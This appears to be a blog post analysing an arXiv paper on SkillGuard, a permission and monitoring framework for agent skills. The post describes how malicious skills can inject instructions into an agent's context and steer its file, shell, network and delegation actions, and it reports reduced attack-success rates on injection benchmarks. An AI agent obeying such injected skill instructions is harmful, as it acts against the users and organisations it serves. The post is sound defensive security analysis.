Blog · arXiv Analysis · Last reviewed June 24, 2026

The Skill Manifest Becomes the Permission Boundary

The June 2026 arXiv paper SkillGuard: A Permission Framework for Agent Skills, by Shidong Pan, Xiaoyu Sun, Tianyi Zhang, Dianshu Liao, Meixue Si, and Zhenchang Xing, argues that reusable agent skills should be treated as permission-bearing executable artifacts, not trusted prompt snippets.

When the Skill Can Act

The site already treats agent skills as portable work instructions: bundles of instructions, scripts, references, examples, tool bindings, and contextual dependencies that an agent can load when a task calls for specialized procedure. SkillGuard sharpens the security question. A skill is not only a document the agent reads. It can shape the context the agent believes, the tools the agent calls, the files it touches, the network requests it makes, and the other skills or agents it delegates to.

That makes the skill manifest a natural permission boundary. Ordinary static review can say what a skill file appears to contain. Ordinary tool policy can block a particular call. The gap is between those layers: what the skill claims to be for, what context it injects, what authority it requests, and what side effects it causes after the model accepts it as relevant.

The paper, arXiv:2606.03024, was submitted on June 2, 2026. Its core claim is narrow and useful: skills should be governed as permission-bearing executable artifacts. The agent should not load a skill, absorb its instructions, and then improvise authority from a broad host environment.

What SkillGuard Adds

SkillGuard proposes a framework with five pieces: a Skill Manifest, runtime permission access control, user interaction, policy enforcement, and runtime behavior monitoring. The manifest declares a skill's capability surface. The runtime maps host-specific tool invocations to canonical capabilities. User interaction handles sensitive permissions with structured approval. Enforcement follows a deny-by-default pipeline. Monitoring records mediated decisions for debugging and accountability.

The manifest model matters because it turns a loose natural-language package into a declared security object. The paper's policy structure includes capabilities, effects such as allow, confirm, and deny, optional constraints, policy sources, and live session state. A skill can therefore be authorized for a constrained task without gaining standing authority over the whole workspace.

The runtime boundary is the tool-call edge. SkillGuard checks whether a requested action is covered by the active manifest and session policy before dispatch. For shell-style execution, the paper adds a permission-generation mini-agent that infers lower-level capabilities required by a command and referenced scripts, then rechecks those inferred capabilities against live policy. If analysis fails, a deny policy applies, or the user rejects a confirmation, the command is blocked fail-closed.

The Dual-Plane Risk

The paper's strongest idea is the dual-plane view. On the context plane, a skill can introduce instructions, examples, documents, memory fragments, or hidden assumptions that reshape reasoning before any external action occurs. On the action plane, a skill can trigger file access, code execution, network communication, API calls, or delegation.

Many defenses handle only one plane. A context defense may mark untrusted input but leave later side effects under-governed. A tool policy may block a dangerous call but miss the malicious or overbroad instructions that steered the agent into the request. SkillGuard's answer is complete mediation across loading, context construction, permission grants, tool calls, shell behavior, delegation, and audit records.

This belongs beside intent-governed tool authorization and agent sandboxing, but it is not the same surface. Intent scoping asks what this session is for. Sandboxing asks what the process can reach. Skill manifests ask what a reusable procedure is allowed to bring into context and cause at runtime.

Evidence and Limits

The evaluation uses 315 real-world skills from SkillsMP and the SkillInject benchmark. The paper reports that its permission taxonomy covers 99.76% of observed protected objects and 100% of group-level protected-object categories in that corpus. It also reports 91.0% F1 for automated manifest generation on SkillInject.

For adversarial evaluation, the paper uses 23 clean SkillInject skills with injected variants: 139 contextual-injection tasks and 180 obvious-injection tasks. SkillGuard reduces contextual attack success from 32.37% to 23.02%, and obvious attack success from 25.56% to 16.67%, while preserving benign task utility in the reported setup.

The limits matter. The paper evaluates with a single representative model, MiMo-V2.5-Pro, and a single agent scaffold, Claude Code. It also depends on manifest quality. The paper reports that automated manifests can over-declare or miss permissions; a missed legitimate permission may block useful work, while an overbroad one can leave dangerous behavior inside the declared boundary. SkillGuard is therefore not a proof that a skill is safe. It is an enforceable place to attach, test, and audit the claim.

Governance Use

For organizations, the lesson is direct: installing a skill should not silently install authority. A skill registry should preserve author, owner, version, trust tier, intended task, declared capabilities, constraints, dependencies, review date, test cases, and retirement path. Runtime traces should record which skills were available, which were loaded, which manifest entries were active, which tool calls were allowed or denied, and which user approvals changed the session state.

The permission manifest also gives reviewers a better question than "does the file look okay?" Ask whether the declared authority matches the task. Ask whether context access, file access, network access, shell execution, delegation, and publishing are each necessary. Ask whether approvals are one-time, session-limited, or persistent, and whether they copy existing constraints rather than widening them.

The Spiralist rule is simple: a reusable work instruction that can steer an agent is no longer only documentation. Once it can load context and cause side effects, it needs the governance treatment of code, policy, and delegated authority at the same time.

Sources

Return to Blog